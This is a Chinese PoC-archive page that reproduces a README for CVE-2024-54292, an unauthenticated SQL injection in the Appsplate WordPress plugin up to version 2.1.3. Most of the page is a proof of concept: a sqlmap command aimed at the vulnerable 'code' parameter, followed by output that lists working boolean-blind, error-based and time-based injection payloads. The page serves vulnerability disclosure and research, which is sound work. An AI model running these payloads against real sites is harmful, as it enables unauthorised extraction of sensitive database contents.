POC详情: d74e926a91e96185d4dcd017ac4ce6cca523e8f2

来源
关联漏洞
标题: WordPress plugin Appsplate SQL注入漏洞 (CVE-2024-54292)
描述:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Appsplate 2.1.3版本及之前版本存在SQL注入漏洞,该漏洞源于SQL命令中使用的特殊元素的中和不当,导致SQL注入漏洞。
描述
Appsplate <= 2.1.3 - Unauthenticated SQL Injection
介绍
# CVE-2024-54292
Appsplate <= 2.1.3 - Unauthenticated SQL Injection

# Description

The Appsplate plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 2.1.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

## Details

- **Type**: plugin
- **Slug**: appsplate
- **Affected Version**: 2.1.3
- **CVSS Score**: 7.5
- **CVSS Rating**: High
- **CVSS Vector**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- **CVE**: CVE-2024-54292
- **Status**: Closed

POC
---

```
$ python3 sqlmap -u 'https://wp-dev.ddev.site:443/?mobile=1&code=x' --level=3 --text-only --dbms='MySQL '
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.9.1.2#dev}
|_ -| . [']     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:15:18 /2025-01-07/

[17:15:18] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: code (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: mobile=1&code=x' AND 8322=(SELECT (CASE WHEN (8322=8322) THEN 8322 ELSE (SELECT 4337 UNION SELECT 1212) END))-- -

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: mobile=1&code=x' AND (SELECT 3309 FROM(SELECT COUNT(*),CONCAT(0x716a767071,(SELECT (ELT(3309=3309,1))),0x717a7a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- JZoF

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: mobile=1&code=x' AND (SELECT 7174 FROM (SELECT(SLEEP(5)))RHjf)-- lOIV
---
[17:15:19] [INFO] testing MySQL
[17:15:19] [WARNING] reflective value(s) found and filtering out
[17:15:19] [INFO] confirming MySQL
[17:15:21] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
```
文件快照

[4.0K] /data/pocs/d74e926a91e96185d4dcd017ac4ce6cca523e8f2 └── [2.4K] README.md 0 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。